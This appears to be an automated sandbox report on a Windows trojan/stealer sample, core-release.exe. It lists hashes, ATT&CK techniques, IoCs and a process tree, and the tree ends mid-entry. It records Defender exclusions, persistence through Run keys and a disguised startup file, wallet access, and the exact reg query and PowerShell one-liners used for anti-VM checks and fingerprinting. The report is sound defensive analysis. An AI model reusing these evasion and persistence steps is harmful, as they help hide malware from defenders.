71462455b412c5ec1048dc1667d45c04282f45846fc51bc28f1aa5628e8827b7

Analysis

max time kernel
300s
max time network
305s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
23/07/2026, 07:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
core-release.exe
Size 69.5MB
Sample260723-h8ftqaaa43
SHA256 71462455b412c5ec1048dc1667d45c04282f45846fc51bc28f1aa5628e8827b7
MD5 d7a74288bd2092203c0903cf2e72aad9
SHA1 1c819761944955b1b1494252fc1bffec99b95349
SHA512 0e3a718d6b9995720249edd6b310e917a4f1807277636a64203c6a4bf43777bcd6a8fd6854211fe19c594adae1044956f921f34d9d472fa39536fd2e75010536
SSDEEP 1572864:CLdkg9YKapIRzmOxOrqu+TON2WTYWgTgQo2iUA+lhGRN17:C2RNpnOorquGNyYWGvo20RH7
TLSH
T1BEF7339A8B8397B5D547AE304E7F1B38EB52F3C6C53110F3126C2E5AB55A86ED890C34
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence spyware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 9 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4756	powershell.exe
3600	powershell.exe
4884	powershell.exe
3844	powershell.exe
1032	powershell.exe
3220	powershell.exe
5932	powershell.exe
216	powershell.exe
2000	powershell.exe
696	powershell.exe
3852	powershell.exe
4756	powershell.exe
3992	powershell.exe
3600	powershell.exe
5328	powershell.exe
3636	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	ServiceClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	ServiceClient.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe	redist_setup_c8.exe

Executes dropped EXE 19 IoCs

pid	Process
1072	ServiceClient.exe
5164	ServiceClient.exe
2040	ServiceClient.exe
3804	ServiceClient.exe
1820	update_d654.exe
4972	update_d654.exe
4292	update_d654.exe
4436	update_d654.exe
6060	update_d654.exe
5780	update_d654.exe
816	redist_setup_c8.exe
888	RuntimeBroker.exe
5104	RuntimeBroker.exe
2016	HealthService.exe
4812	redist_setup_c8.exe
3512	redist_setup_c8.exe
3700	redist_setup_c8.exe
2304	redist_setup_c8.exe
5648	redist_setup_c8.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe

Loads dropped DLL 12 IoCs

pid	Process
4640	core-release.exe
4640	core-release.exe
4640	core-release.exe
1072	ServiceClient.exe
5164	ServiceClient.exe
2040	ServiceClient.exe
5164	ServiceClient.exe
5164	ServiceClient.exe
5164	ServiceClient.exe
5164	ServiceClient.exe
5164	ServiceClient.exe
3804	ServiceClient.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
5912	cmd.exe
5540	cmd.exe

System Binary Proxy Execution: Rundll32 1 TTPs 4 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
5056	cmd.exe
5612	rundll32.exe
4068	cmd.exe
4528	rundll32.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\RuntimeBroker\\RuntimeBroker.exe"	redist_setup_c8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Security\\Health\\HealthService.exe"	redist_setup_c8.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Hide Artifacts: Hidden Window 1 TTPs 5 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
5540	cmd.exe
400	cmd.exe
3728	cmd.exe
5912	cmd.exe
1092	cmd.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ipinfo.io
18	ipinfo.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1928	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs

execution

Visual Basic

T1059.005

pid	Process
4940	wscript.exe
2552	wscript.exe
5384	wscript.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5912	cmd.exe
5540	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 53 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4732	cmd.exe
4996	cmd.exe
2096	cmd.exe
1172	cmd.exe
1340	cmd.exe
4936	cmd.exe
4916	cmd.exe
744	cmd.exe
5624	cmd.exe
3840	cmd.exe
2928	cmd.exe
476	cmd.exe
5508	cmd.exe
4928	cmd.exe
3416	cmd.exe
1960	cmd.exe
5620	cmd.exe
5156	cmd.exe
1748	cmd.exe
3768	cmd.exe
5172	cmd.exe
2868	cmd.exe
3768	cmd.exe
5084	cmd.exe
2588	cmd.exe
5952	cmd.exe
4872	cmd.exe
3444	cmd.exe
5940	cmd.exe
3848	cmd.exe
2704	cmd.exe
2196	cmd.exe
2164	cmd.exe
3256	cmd.exe
1764	cmd.exe
5036	cmd.exe
3064	cmd.exe
2892	cmd.exe
4180	cmd.exe
1244	cmd.exe
5128	cmd.exe
4764	cmd.exe
4668	cmd.exe
5136	cmd.exe
3472	cmd.exe
4804	cmd.exe
4880	cmd.exe
6020	cmd.exe
4176	cmd.exe
2700	cmd.exe
1468	cmd.exe
3320	cmd.exe
5240	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	core-release.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	ServiceClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	ServiceClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	ServiceClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	ServiceClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	ServiceClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	ServiceClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	ServiceClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	ServiceClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	ServiceClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	ServiceClient.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1592	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
888	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

pid	Process
1072	ServiceClient.exe
1072	ServiceClient.exe
1072	ServiceClient.exe
1072	ServiceClient.exe
216	powershell.exe
216	powershell.exe
2000	powershell.exe
2000	powershell.exe
696	powershell.exe
696	powershell.exe
4884	powershell.exe
4884	powershell.exe
3852	powershell.exe
3852	powershell.exe
444	powershell.exe
444	powershell.exe
444	powershell.exe
3844	powershell.exe
3844	powershell.exe
3844	powershell.exe
1032	powershell.exe
1032	powershell.exe
1032	powershell.exe
3220	powershell.exe
3220	powershell.exe
3220	powershell.exe
5932	powershell.exe
5932	powershell.exe
5932	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
4756	powershell.exe
4756	powershell.exe
4756	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe
5328	powershell.exe
5328	powershell.exe
5328	powershell.exe
1820	update_d654.exe
1820	update_d654.exe
1820	update_d654.exe
1820	update_d654.exe
888	RuntimeBroker.exe
888	RuntimeBroker.exe
1072	ServiceClient.exe
1072	ServiceClient.exe
888	RuntimeBroker.exe
888	RuntimeBroker.exe
888	RuntimeBroker.exe
888	RuntimeBroker.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	4640	core-release.exe
Token: SeShutdownPrivilege	1072	ServiceClient.exe
Token: SeCreatePagefilePrivilege	1072	ServiceClient.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeIncreaseQuotaPrivilege	216	powershell.exe
Token: SeSecurityPrivilege	216	powershell.exe
Token: SeTakeOwnershipPrivilege	216	powershell.exe
Token: SeLoadDriverPrivilege	216	powershell.exe
Token: SeSystemProfilePrivilege	216	powershell.exe
Token: SeSystemtimePrivilege	216	powershell.exe
Token: SeProfSingleProcessPrivilege	216	powershell.exe
Token: SeIncBasePriorityPrivilege	216	powershell.exe
Token: SeCreatePagefilePrivilege	216	powershell.exe
Token: SeBackupPrivilege	216	powershell.exe
Token: SeRestorePrivilege	216	powershell.exe
Token: SeShutdownPrivilege	216	powershell.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeSystemEnvironmentPrivilege	216	powershell.exe
Token: SeRemoteShutdownPrivilege	216	powershell.exe
Token: SeUndockPrivilege	216	powershell.exe
Token: SeManageVolumePrivilege	216	powershell.exe
Token: 33	216	powershell.exe
Token: 34	216	powershell.exe
Token: 35	216	powershell.exe
Token: 36	216	powershell.exe
Token: SeShutdownPrivilege	1072	ServiceClient.exe
Token: SeCreatePagefilePrivilege	1072	ServiceClient.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeIncreaseQuotaPrivilege	2000	powershell.exe
Token: SeSecurityPrivilege	2000	powershell.exe
Token: SeTakeOwnershipPrivilege	2000	powershell.exe
Token: SeLoadDriverPrivilege	2000	powershell.exe
Token: SeSystemProfilePrivilege	2000	powershell.exe
Token: SeSystemtimePrivilege	2000	powershell.exe
Token: SeProfSingleProcessPrivilege	2000	powershell.exe
Token: SeIncBasePriorityPrivilege	2000	powershell.exe
Token: SeCreatePagefilePrivilege	2000	powershell.exe
Token: SeBackupPrivilege	2000	powershell.exe
Token: SeRestorePrivilege	2000	powershell.exe
Token: SeShutdownPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeSystemEnvironmentPrivilege	2000	powershell.exe
Token: SeRemoteShutdownPrivilege	2000	powershell.exe
Token: SeUndockPrivilege	2000	powershell.exe
Token: SeManageVolumePrivilege	2000	powershell.exe
Token: 33	2000	powershell.exe
Token: 34	2000	powershell.exe
Token: 35	2000	powershell.exe
Token: 36	2000	powershell.exe
Token: SeDebugPrivilege	696	powershell.exe
Token: SeShutdownPrivilege	1072	ServiceClient.exe
Token: SeCreatePagefilePrivilege	1072	ServiceClient.exe
Token: SeIncreaseQuotaPrivilege	696	powershell.exe
Token: SeSecurityPrivilege	696	powershell.exe
Token: SeTakeOwnershipPrivilege	696	powershell.exe
Token: SeLoadDriverPrivilege	696	powershell.exe
Token: SeSystemProfilePrivilege	696	powershell.exe
Token: SeSystemtimePrivilege	696	powershell.exe
Token: SeProfSingleProcessPrivilege	696	powershell.exe
Token: SeIncBasePriorityPrivilege	696	powershell.exe
Token: SeCreatePagefilePrivilege	696	powershell.exe
Token: SeBackupPrivilege	696	powershell.exe
Token: SeRestorePrivilege	696	powershell.exe
Token: SeShutdownPrivilege	696	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1072	ServiceClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4640 wrote to memory of 1072	4640	core-release.exe	83
PID 1072 wrote to memory of 3768	1072	ServiceClient.exe	84
PID 1072 wrote to memory of 5164	1072	ServiceClient.exe	87
PID 1072 wrote to memory of 3416	1072	ServiceClient.exe	88
PID 1072 wrote to memory of 2040	1072	ServiceClient.exe	89
PID 3416 wrote to memory of 216	3416	cmd.exe	91
PID 1072 wrote to memory of 5128	1072	ServiceClient.exe	93
PID 5128 wrote to memory of 2000	5128	cmd.exe	95
PID 1072 wrote to memory of 1960	1072	ServiceClient.exe	96
PID 1960 wrote to memory of 696	1960	cmd.exe	98
PID 1072 wrote to memory of 5620	1072	ServiceClient.exe	99
PID 5620 wrote to memory of 1928	5620	cmd.exe	101
PID 1072 wrote to memory of 4732	1072	ServiceClient.exe	102
PID 4732 wrote to memory of 4924	4732	cmd.exe	104
PID 1072 wrote to memory of 4916	1072	ServiceClient.exe	105
PID 4916 wrote to memory of 4912	4916	cmd.exe	107
PID 1072 wrote to memory of 4764	1072	ServiceClient.exe	108
PID 4764 wrote to memory of 4840	4764	cmd.exe	110
PID 1072 wrote to memory of 5084	1072	ServiceClient.exe	111
PID 5084 wrote to memory of 5948	5084	cmd.exe	113
PID 1072 wrote to memory of 744	1072	ServiceClient.exe	114
PID 744 wrote to memory of 2200	744	cmd.exe	116
PID 1072 wrote to memory of 2588	1072	ServiceClient.exe	117
PID 2588 wrote to memory of 2100	2588	cmd.exe	119
PID 1072 wrote to memory of 3256	1072	ServiceClient.exe	120
PID 3256 wrote to memory of 1244	3256	cmd.exe	122
PID 1072 wrote to memory of 4668	1072	ServiceClient.exe	123
PID 4668 wrote to memory of 5232	4668	cmd.exe	125
PID 1072 wrote to memory of 4996	1072	ServiceClient.exe	126
PID 4996 wrote to memory of 4884	4996	cmd.exe	128
PID 1072 wrote to memory of 2096	1072	ServiceClient.exe	129
PID 2096 wrote to memory of 2788	2096	cmd.exe	131
PID 2788 wrote to memory of 3468	2788	net.exe	132
PID 1072 wrote to memory of 3804	1072	ServiceClient.exe	133
PID 1072 wrote to memory of 5952	1072	ServiceClient.exe	134
PID 5952 wrote to memory of 1648	5952	cmd.exe	136
PID 1072 wrote to memory of 3728	1072	ServiceClient.exe	137
PID 3728 wrote to memory of 3852	3728	cmd.exe	139
PID 1072 wrote to memory of 5156	1072	ServiceClient.exe	140
PID 5156 wrote to memory of 4184	5156	cmd.exe	142
PID 4184 wrote to memory of 1128	4184	net.exe	143
PID 1072 wrote to memory of 2700	1072	ServiceClient.exe	144
PID 1072 wrote to memory of 5136	1072	ServiceClient.exe	145
PID 1072 wrote to memory of 1340	1072	ServiceClient.exe	146
PID 1072 wrote to memory of 3064	1072	ServiceClient.exe	147
PID 1072 wrote to memory of 476	1072	ServiceClient.exe	148
PID 1072 wrote to memory of 3768	1072	ServiceClient.exe	149
PID 1072 wrote to memory of 1748	1072	ServiceClient.exe	150
PID 1072 wrote to memory of 2928	1072	ServiceClient.exe	151
PID 1072 wrote to memory of 5624	1072	ServiceClient.exe	152
PID 1072 wrote to memory of 3840	1072	ServiceClient.exe	153
PID 1072 wrote to memory of 5036	1072	ServiceClient.exe	154
PID 1072 wrote to memory of 4176	1072	ServiceClient.exe	156
PID 1072 wrote to memory of 6020	1072	ServiceClient.exe	158
PID 1072 wrote to memory of 3848	1072	ServiceClient.exe	160
PID 1072 wrote to memory of 1172	1072	ServiceClient.exe	163
PID 1072 wrote to memory of 4872	1072	ServiceClient.exe	165
PID 1072 wrote to memory of 4880	1072	ServiceClient.exe	166
PID 1072 wrote to memory of 1764	1072	ServiceClient.exe	167
PID 4872 wrote to memory of 5680	4872	cmd.exe	180
PID 4880 wrote to memory of 696	4880	cmd.exe	181
PID 1764 wrote to memory of 444	1764	cmd.exe	182
PID 3768 wrote to memory of 3004	3768	cmd.exe	183
PID 5624 wrote to memory of 4992	5624	cmd.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\core-release.exe
"C:\Users\Admin\AppData\Local\Temp\core-release.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640
- C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe
  C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ps -p 4640 -o comm=,ppid="
    3⤵
    - Executes a command shell one-liner
    PID:3768
- - C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe
    "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\serviceclient" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1736 --field-trial-handle=1740,i,5010826413266110763,7339802609196626592,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_ComputerSystem).Model""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_ComputerSystem).Model"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:216
- - C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe
    "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\serviceclient" --mojo-platform-channel-handle=1916 --field-trial-handle=1740,i,5010826413266110763,7339802609196626592,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_BIOS).SerialNumber""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1960
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_BIOS).SerialNumber"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv /nh"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5620
  - - C:\Windows\system32\tasklist.exe
      tasklist /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:1928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__" /ve"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__" /ve
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\FADT\VBOX__" /ve"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\HARDWARE\ACPI\FADT\VBOX__" /ve
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      PID:4912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\RSDT\VBOX__" /ve"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\HARDWARE\ACPI\RSDT\VBOX__" /ve
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      PID:4840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" /ve"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" /ve
      4⤵
      Looks for VirtualBox Guest Additions in registry
      PID:5948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest" /ve"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:744
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest" /ve
      4⤵
      Enumerates VirtualBox registry keys
      PID:2200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService" /ve"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\system32\reg.exe
